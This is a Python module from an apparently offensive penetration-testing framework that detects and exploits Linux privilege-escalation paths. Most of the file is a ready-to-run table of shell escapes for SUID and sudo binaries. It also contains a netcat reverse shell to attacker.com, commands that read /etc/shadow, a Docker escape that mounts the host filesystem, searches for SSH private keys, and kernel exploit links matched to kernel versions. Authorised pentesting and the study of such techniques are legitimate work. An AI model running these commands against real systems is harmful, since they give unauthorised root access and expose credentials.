"""
AIPTX Beast Mode - Linux Privilege Escalation
=============================================

Linux-specific privilege escalation vectors and exploitation.
"""

from __future__ import annotations

import logging
from dataclasses import dataclass
from typing import Any

from aipt_v2.post_exploit.privesc.privesc_engine import (
    PrivescVector,
    PrivescCategory,
    PrivescRisk,
)

logger = logging.getLogger(__name__)


# GTFOBins exploitable binaries database
GTFOBINS_DATABASE = {
    # Shells and interpreters
    "bash": {
        "suid": "bash -p",
        "sudo": "sudo bash",
        "capabilities": "./bash -p",
    },
    "sh": {
        "suid": "sh -p",
        "sudo": "sudo sh",
    },
    "zsh": {
        "suid": "zsh",
        "sudo": "sudo zsh",
    },
    "python": {
        "suid": "python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'",
        "sudo": "sudo python -c 'import os; os.system(\"/bin/sh\")'",
        "capabilities": "python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'",
    },
    "python3": {
        "suid": "python3 -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'",
        "sudo": "sudo python3 -c 'import os; os.system(\"/bin/sh\")'",
        "capabilities": "python3 -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'",
    },
    "perl": {
        "suid": "perl -e 'exec \"/bin/sh\";'",
        "sudo": "sudo perl -e 'exec \"/bin/sh\";'",
    },
    "ruby": {
        "suid": "ruby -e 'exec \"/bin/sh\"'",
        "sudo": "sudo ruby -e 'exec \"/bin/sh\"'",
    },
    "php": {
        "suid": "php -r \"system('/bin/sh -p');\"",
        "sudo": "sudo php -r \"system('/bin/sh');\"",
    },
    "lua": {
        "suid": "lua -e 'os.execute(\"/bin/sh\")'",
        "sudo": "sudo lua -e 'os.execute(\"/bin/sh\")'",
    },

    # Text editors
    "vim": {
        "suid": "vim -c ':!/bin/sh'",
        "sudo": "sudo vim -c ':!/bin/sh'",
    },
    "vi": {
        "suid": "vi -c ':!/bin/sh'",
        "sudo": "sudo vi -c ':!/bin/sh'",
    },
    "nano": {
        "sudo": "sudo nano\n^R^X\nreset; sh 1>&0 2>&0",
    },
    "emacs": {
        "suid": "emacs -Q -nw --eval '(term \"/bin/sh -p\")'",
        "sudo": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'",
    },

    # File utilities
    "find": {
        "suid": "find . -exec /bin/sh -p \\; -quit",
        "sudo": "sudo find . -exec /bin/sh \\; -quit",
    },
    "awk": {
        "suid": "awk 'BEGIN {system(\"/bin/sh -p\")}'",
        "sudo": "sudo awk 'BEGIN {system(\"/bin/sh\")}'",
    },
    "sed": {
        "sudo": "sudo sed -n '1e exec sh 1>&0' /etc/hosts",
    },
    "less": {
        "suid": "less /etc/passwd\\n!/bin/sh -p",
        "sudo": "sudo less /etc/passwd\\n!sh",
    },
    "more": {
        "suid": "more /etc/passwd\\n!/bin/sh -p",
        "sudo": "sudo more /etc/passwd\\n!sh",
    },
    "cat": {
        "sudo": "LFILE=/etc/shadow; sudo cat \"$LFILE\"",
    },
    "head": {
        "sudo": "LFILE=/etc/shadow; sudo head -c1G \"$LFILE\"",
    },
    "tail": {
        "sudo": "LFILE=/etc/shadow; sudo tail -c1G \"$LFILE\"",
    },
    "cp": {
        "suid": "cp /bin/sh /tmp/sh && chmod u+s /tmp/sh && /tmp/sh -p",
        "sudo": "sudo cp /bin/sh /tmp/sh && sudo chmod u+s /tmp/sh && /tmp/sh -p",
    },

    # Network tools
    "nmap": {
        "suid": "nmap --interactive\\n!sh",
        "sudo": "sudo nmap --interactive\\n!sh",
    },
    "nc": {
        "sudo": "RHOST=attacker.com; RPORT=4444; sudo nc -e /bin/sh $RHOST $RPORT",
    },
    "curl": {
        "sudo": "sudo curl file:///etc/shadow",
    },
    "wget": {
        "sudo": "sudo wget -qO- file:///etc/shadow",
    },

    # Archive tools
    "tar": {
        "suid": "tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh",
        "sudo": "sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh",
    },
    "zip": {
        "suid": "zip /tmp/a.zip /etc/passwd -T --unzip-command=\"sh -c /bin/sh\"",
        "sudo": "sudo zip /tmp/a.zip /etc/passwd -T --unzip-command=\"sh -c /bin/sh\"",
    },

    # System tools
    "env": {
        "suid": "env /bin/sh -p",
        "sudo": "sudo env /bin/sh",
    },
    "strace": {
        "suid": "strace -o /dev/null /bin/sh -p",
        "sudo": "sudo strace -o /dev/null /bin/sh",
    },
    "ltrace": {
        "suid": "ltrace -L /bin/sh -p",
        "sudo": "sudo ltrace -L /bin/sh",
    },
    "time": {
        "suid": "time /bin/sh -p",
        "sudo": "sudo /usr/bin/time /bin/sh",
    },
    "nice": {
        "suid": "nice /bin/sh -p",
        "sudo": "sudo nice /bin/sh",
    },
    "taskset": {
        "suid": "taskset 1 /bin/sh -p",
        "sudo": "sudo taskset 1 /bin/sh",
    },

    # Docker/Container
    "docker": {
        "group": "docker run -v /:/mnt --rm -it alpine chroot /mnt sh",
    },

    # Package managers
    "apt": {
        "sudo": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh",
    },
    "apt-get": {
        "sudo": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh",
    },
    "pip": {
        "sudo": "TF=$(mktemp -d); echo 'import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"sh <$(tty) >$(tty) 2>$(tty)\")' > $TF/setup.py; sudo pip install $TF",
    },
}


class LinuxPrivesc:
    """
    Linux privilege escalation detection and exploitation.
    """

    def __init__(self):
        """Initialize Linux privesc module."""
        self._vectors: list[PrivescVector] = []

    def get_all_check_commands(self) -> list[dict[str, str]]:
        """Get all Linux privesc check commands."""
        return [
            # SUID/SGID
            {"name": "suid", "command": "find / -perm -4000 -type f 2>/dev/null", "category": "suid"},
            {"name": "sgid", "command": "find / -perm -2000 -type f 2>/dev/null", "category": "sgid"},

            # Sudo
            {"name": "sudo_l", "command": "sudo -l 2>/dev/null", "category": "sudo"},
            {"name": "sudo_version", "command": "sudo --version 2>/dev/null | head -1", "category": "sudo"},

            # Capabilities
            {"name": "capabilities", "command": "getcap -r / 2>/dev/null", "category": "capabilities"},

            # Kernel
            {"name": "kernel", "command": "uname -r", "category": "kernel"},
            {"name": "kernel_exploits", "command": "cat /proc/version", "category": "kernel"},

            # Cron
            {"name": "crontab", "command": "cat /etc/crontab 2>/dev/null", "category": "cron"},
            {"name": "cron_dirs", "command": "ls -la /etc/cron.*/ 2>/dev/null", "category": "cron"},

            # PATH
            {"name": "path_writable", "command": "echo $PATH | tr ':' '\\n' | xargs -I{} sh -c '[ -w \"{}\" ] && echo WRITABLE: {}'", "category": "path"},

            # Services
            {"name": "systemd_writable", "command": "find /etc/systemd/system -writable 2>/dev/null", "category": "service"},

            # Docker
            {"name": "docker_sock", "command": "ls -la /var/run/docker.sock 2>/dev/null", "category": "container"},
            {"name": "docker_group", "command": "id | grep docker", "category": "container"},

            # Writable files
            {"name": "writable_etc", "command": "find /etc -writable -type f 2>/dev/null", "category": "writable"},
            {"name": "writable_passwd", "command": "test -w /etc/passwd && echo 'WRITABLE: /etc/passwd'", "category": "writable"},

            # SSH
            {"name": "ssh_keys", "command": "find / -name id_rsa -o -name id_ed25519 2>/dev/null", "category": "credentials"},
            {"name": "authorized_keys", "command": "find / -name authorized_keys -writable 2>/dev/null", "category": "credentials"},
        ]

    def check_suid_binary(self, binary_path: str) -> PrivescVector | None:
        """Check if a SUID binary is exploitable."""
        binary_name = binary_path.split("/")[-1]

        if binary_name in GTFOBINS_DATABASE:
            gtfo_info = GTFOBINS_DATABASE[binary_name]
            if "suid" in gtfo_info:
                return PrivescVector(
                    name=f"suid_{binary_name}",
                    category=PrivescCategory.SUID,
                    description=f"SUID {binary_name} can be exploited for privilege escalation",
                    risk=PrivescRisk.LOW,
                    check_command=f"ls -la {binary_path}",
                    exploit_command=gtfo_info["suid"],
                    success_indicator="# " if "sh" in gtfo_info["suid"] else None,
                    gtfobins_url=f"https://gtfobins.github.io/gtfobins/{binary_name}/",
                    confidence=0.9,
                )
        return None

    def check_sudo_command(self, sudo_command: str) -> PrivescVector | None:
        """Check if a sudo-allowed command is exploitable."""
        for binary_name, gtfo_info in GTFOBINS_DATABASE.items():
            if binary_name in sudo_command and "sudo" in gtfo_info:
                return PrivescVector(
                    name=f"sudo_{binary_name}",
                    category=PrivescCategory.SUDO,
                    description=f"sudo {binary_name} can be exploited for privilege escalation",
                    risk=PrivescRisk.LOW,
                    check_command="sudo -l",
                    exploit_command=gtfo_info["sudo"],
                    success_indicator="# ",
                    gtfobins_url=f"https://gtfobins.github.io/gtfobins/{binary_name}/",
                    confidence=0.9,
                )
        return None

    def get_kernel_exploits(self, kernel_version: str) -> list[PrivescVector]:
        """Get potential kernel exploits based on version."""
        vectors = []

        # Known vulnerable kernels
        kernel_exploits = {
            "dirty_cow": {
                "versions": ["2.6", "3.0", "3.1", "3.2", "3.3", "3.4", "3.5", "3.6", "3.7", "3.8", "3.9", "3.10", "3.11", "3.12", "3.13", "3.14", "3.15", "3.16", "3.17", "3.18", "3.19", "4.0", "4.1", "4.2", "4.3", "4.4", "4.5", "4.6", "4.7", "4.8"],
                "cve": "CVE-2016-5195",
                "description": "Dirty COW - Copy-on-write race condition",
                "exploit": "https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs",
            },
            "dirty_pipe": {
                "versions": ["5.8", "5.9", "5.10", "5.11", "5.12", "5.13", "5.14", "5.15", "5.16"],
                "cve": "CVE-2022-0847",
                "description": "Dirty Pipe - Overwrite read-only files",
                "exploit": "https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits",
            },
            "overlayfs": {
                "versions": ["3.13", "3.14", "3.15", "3.16", "3.17", "3.18", "3.19"],
                "cve": "CVE-2015-1328",
                "description": "OverlayFS privilege escalation",
            },
            "af_packet": {
                "versions": ["4.4", "4.5", "4.6", "4.7", "4.8", "4.9", "4.10", "4.11", "4.12", "4.13"],
                "cve": "CVE-2017-7308",
                "description": "AF_PACKET race condition",
            },
        }

        for name, info in kernel_exploits.items():
            for ver in info["versions"]:
                if ver in kernel_version:
                    vector = PrivescVector(
                        name=name,
                        category=PrivescCategory.KERNEL,
                        description=info["description"],
                        risk=PrivescRisk.CRITICAL,
                        check_command=f"uname -r | grep {ver}",
                        exploit_command=info.get("exploit"),
                        cve=info.get("cve"),
                        notes=f"Kernel {kernel_version} may be vulnerable to {name}",
                        confidence=0.7,
                    )
                    vectors.append(vector)
                    break

        return vectors

    def get_docker_escape_vectors(self) -> list[PrivescVector]:
        """Get Docker/container escape vectors."""
        return [
            PrivescVector(
                name="docker_socket",
                category=PrivescCategory.CONTAINER,
                description="Docker socket is accessible - can spawn privileged container",
                risk=PrivescRisk.MEDIUM,
                check_command="ls -la /var/run/docker.sock",
                exploit_command="docker run -v /:/mnt --rm -it alpine chroot /mnt sh",
                success_indicator="# ",
                confidence=0.95,
            ),
            PrivescVector(
                name="docker_group",
                category=PrivescCategory.CONTAINER,
                description="User is in docker group - can access Docker",
                risk=PrivescRisk.MEDIUM,
                check_command="id | grep docker",
                exploit_command="docker run -v /:/mnt --rm -it alpine chroot /mnt sh",
                success_indicator="# ",
                confidence=0.95,
            ),
            PrivescVector(
                name="privileged_container",
                category=PrivescCategory.CONTAINER,
                description="Running in privileged container - can escape",
                risk=PrivescRisk.MEDIUM,
                check_command="cat /proc/1/cgroup | grep docker",
                exploit_command="mount /dev/sda1 /mnt && chroot /mnt",
                notes="Check if --privileged flag was used",
                confidence=0.6,
            ),
        ]


def get_linux_vectors() -> list[PrivescVector]:
    """Get common Linux privesc vectors."""
    lpe = LinuxPrivesc()
    vectors = []
    vectors.extend(lpe.get_docker_escape_vectors())
    return vectors


__all__ = [
    "LinuxPrivesc",
    "get_linux_vectors",
    "GTFOBINS_DATABASE",
]
